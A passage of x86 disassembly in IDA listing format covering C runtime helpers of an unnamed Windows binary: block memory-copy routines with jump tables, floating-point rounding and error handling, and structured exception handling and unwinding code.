loc_4189DC:				; CODE XREF: sub_418810+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4189F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4189F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4189F4:				; CODE XREF: sub_418810+1D6j
					; DATA XREF: sub_418810+1DDr
		jmp	off_418AF0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	[edx-75D7FFBFh], cl
		inc	ecx
		add	[eax-76h], dl
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		mov	al, [ecx+0]
		lodsb
		mov	al, [ecx+0]
		mov	ah, 8Ah
		inc	ecx
		add	[edx+ecx*4-753BFFBFh], bh
		inc	ecx
		add	ah, cl
		mov	al, [ecx+0]
		aam	8Ah
		inc	ecx


loc_418A9F:				; DATA XREF: sub_418810+1C2r
		add	bh, ah
		mov	al, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418AE7:				; CODE XREF: sub_418810+1C2j
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_418AF0	dd offset loc_418B00	; DATA XREF: sub_418810+1B7r
					; sub_418810:loc_4189F4r ...
		dd offset loc_418B08
		dd offset loc_418B18
		dd offset loc_418B2C
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418B08:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418B18:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418B2C:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_418810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B45	proc near		; CODE XREF: sub_40B0F0+40p
					; nsp0:0040D3A9p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4176F0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFF5
		add	esp, 10h
		leave
		retn
sub_418B45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418B79(double)

sub_418B79	proc near		; CODE XREF: sub_40C131+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AB40
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_418BFF
		call	sub_41D196
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_418BE2
		cmp	eax, 2
		jle	short loc_418BD4
		cmp	eax, 3
		jnz	short loc_418BE2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41CAA6
		add	esp, 10h
		jmp	short loc_418C44
; ---------------------------------------------------------------------------


loc_418BD4:				; CODE XREF: sub_418B79+3Fj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_418C44
; ---------------------------------------------------------------------------


loc_418BE2:				; CODE XREF: sub_418B79+3Aj
					; sub_418B79+44j
		fld	[ebp+arg_0]
		fadd	dbl_423700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418BFF:				; CODE XREF: sub_418B79+2Fj
		call	sub_41D15B
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_418C22


loc_418C14:				; CODE XREF: sub_418B79+ACj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_418C44
; ---------------------------------------------------------------------------


loc_418C22:				; CODE XREF: sub_418B79+99j
		test	bl, 20h
		jnz	short loc_418C14
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_418C3C:				; CODE XREF: sub_418B79+84j
		call	sub_41CAF9
		add	esp, 1Ch


loc_418C44:				; CODE XREF: sub_418B79+59j
					; sub_418B79+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_418B79	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C48	proc near		; CODE XREF: sub_417C94+9p
					; sub_41D397+21p
					; DATA XREF: ...
		call	sub_418C60
		call	sub_41D397
		mov	dword_4D8724, eax
		call	sub_41D347
		fnclex
		retn
sub_418C48	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_418C60	proc near		; CODE XREF: sub_418C48p
		mov	eax, offset sub_41D785
		mov	off_43B12C, offset sub_41D41A
		mov	off_43B128, eax
		mov	off_43B130, offset sub_41D480
		mov	off_43B134, offset sub_41D3C0
		mov	off_43B138, offset sub_41D468
		mov	off_43B13C, eax
		retn
sub_418C60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C98	proc near		; CODE XREF: sub_40C131+1Bp
					; sub_40C131+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_418C98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418CBF(double)

sub_418CBF	proc near		; CODE XREF: sub_40C17D+82p
					; sub_40CAA5+3A1p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AB58
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_418D45
		call	sub_41D196
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_418D28
		cmp	eax, 2
		jle	short loc_418D1A
		cmp	eax, 3
		jnz	short loc_418D28
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41CAA6
		add	esp, 10h
		jmp	short loc_418D8A
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CBF+3Fj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_418D8A
; ---------------------------------------------------------------------------


loc_418D28:				; CODE XREF: sub_418CBF+3Aj
					; sub_418CBF+44j
		fld	[ebp+arg_0]
		fadd	dbl_423700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_418D82
; ---------------------------------------------------------------------------


loc_418D45:				; CODE XREF: sub_418CBF+2Fj
		call	sub_41D15B
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_418D68


loc_418D5A:				; CODE XREF: sub_418CBF+ACj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_418D8A
; ---------------------------------------------------------------------------


loc_418D68:				; CODE XREF: sub_418CBF+99j
		test	bl, 20h
		jnz	short loc_418D5A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_418D82:				; CODE XREF: sub_418CBF+84j
		call	sub_41CAF9
		add	esp, 1Ch


loc_418D8A:				; CODE XREF: sub_418CBF+59j
					; sub_418CBF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_418CBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D8E	proc near		; CODE XREF: sub_41DBF6+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_418D8E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_418DC2	proc near		; CODE XREF: sub_41DDA7+199p
					; sub_41DF6B+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418DC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418DC9	proc near		; CODE XREF: sub_41DDA7+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418DC9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DD0	proc near		; CODE XREF: sub_418F82+5Cp
					; sub_41DBF6:loc_41DC27p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_418DF8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422274	; RtlUnwind


loc_418DF8:				; DATA XREF: sub_418DD0+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_418DD0	endp

; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: nsp0:004223D0j
					; nsp0:004223EDj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41D7FB
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E55	proc near		; CODE XREF: sub_41DC71+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_418EA9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41E000
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_418E55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA9	proc near		; DATA XREF: sub_418E55+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41D7FB
		add	esp, 20h
		pop	ebp
		retn
sub_418EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ECE	proc near		; CODE XREF: sub_41DA3D+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_418F82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418F54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4D8778
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418F54:				; DATA XREF: sub_418ECE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_418F71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_418F7A
; ---------------------------------------------------------------------------


loc_418F71:				; CODE XREF: sub_418ECE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_418F7A:				; CODE XREF: sub_418ECE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F82	proc near		; DATA XREF: sub_418ECE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_418FA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_418FF2
; ---------------------------------------------------------------------------


loc_418FA5:				; CODE XREF: sub_418F82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41D7FB
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_418FE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_418DD0


loc_418FE3:				; CODE XREF: sub_418F82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_418FF2:				; CODE XREF: sub_418F82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FF7	proc near		; CODE XREF: sub_41D896+C6p
					; sub_41DA3D+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41904E


loc_419015:				; CODE XREF: sub_418FF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41901F
		call	sub_41E0A2


loc_41901F:				; CODE XREF: sub_418FF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_419034
		cmp	ecx, [eax+8]
		jle	short loc_419039


loc_419034:				; CODE XREF: sub_418FF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419045


loc_419039:				; CODE XREF: sub_418FF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_419045:				; CODE XREF: sub_418FF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_419015
		mov	eax, [ebp+var_4]


loc_41904E:				; CODE XREF: sub_418FF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_419062
		cmp	esi, eax
		jbe	short loc_419067


loc_419062:				; CODE XREF: sub_418FF7+65j
		call	sub_41E0A2


loc_419067:				; CODE XREF: sub_418FF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418FF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419074	proc near		; CODE XREF: sub_41EDEC+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41908C
		push	[ebp+arg_0]
		call	sub_422274	; RtlUnwind


loc_41908C:				; DATA XREF: sub_419074+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419074	endp


; =============== S U B	R O U T	I N E =======================================



sub_419094	proc near		; DATA XREF: sub_4190B6+Ao
					; sub_41911E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4190B5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4190B5:				; CODE XREF: sub_419094+10j
		retn
sub_419094	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190B6	proc near		; CODE XREF: sub_41DD17+Dp
					; sub_41EDEC+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_419094
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4190D3:				; CODE XREF: sub_4190B6:loc_41910Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_419110
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_419110
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41910E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41914A
		call	dword ptr [ebx+esi*4+8]


loc_41910E:				; CODE XREF: sub_4190B6+44j
		jmp	short loc_4190D3
; ---------------------------------------------------------------------------


loc_419110:				; CODE XREF: sub_4190B6+2Aj
					; sub_4190B6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4190B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41911E	proc near		; CODE XREF: sub_41DD37+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_419094
		jnz	short locret_419140
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_419140
		mov	eax, 1

locret_419140:				; CODE XREF: sub_41911E+10j
					; sub_41911E+1Bj
		retn
sub_41911E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419141	proc near		; CODE XREF: sub_41E000+1Ep
					; sub_41E000+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AB5C
		jmp	short loc_419154
sub_419141	endp


; =============== S U B	R O U T	I N E =======================================



sub_41914A	proc near		; CODE XREF: sub_4190B6+4Fp
					; sub_41EDEC+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AB5C
		mov	ecx, [ebp+8]


loc_419154:				; CODE XREF: sub_419141+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41914A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_419164	proc near		; CODE XREF: sub_40C17D+5p
					; sub_40C31F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_419164	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419183	proc near		; CODE XREF: sub_40C7BE+26p
					; nsp0:00422045p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4177C1
		pop	ecx
		retn
sub_419183	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419190	proc near		; CODE XREF: sub_40C82F+3Ap
					; sub_41A052+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4191B0
		cmp	edi, eax
		jb	loc_419328


loc_4191B0:				; CODE XREF: sub_419190+16j
		test	edi, 3
		jnz	short loc_4191CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------


loc_4191CC:				; CODE XREF: sub_419190+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4191E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4191EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4191E4:				; CODE XREF: sub_419190+46j
		jmp	dword ptr loc_4192E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4191EC:				; CODE XREF: sub_419190+31j
					; sub_419190+8Ej ...
		jmp	off_41926C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_419200
		dd offset loc_41922C
		dd offset loc_419250
; ---------------------------------------------------------------------------


loc_419200:				; DATA XREF: sub_419190+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41922C:				; DATA XREF: sub_419190+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419250:				; DATA XREF: sub_419190+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4191EC
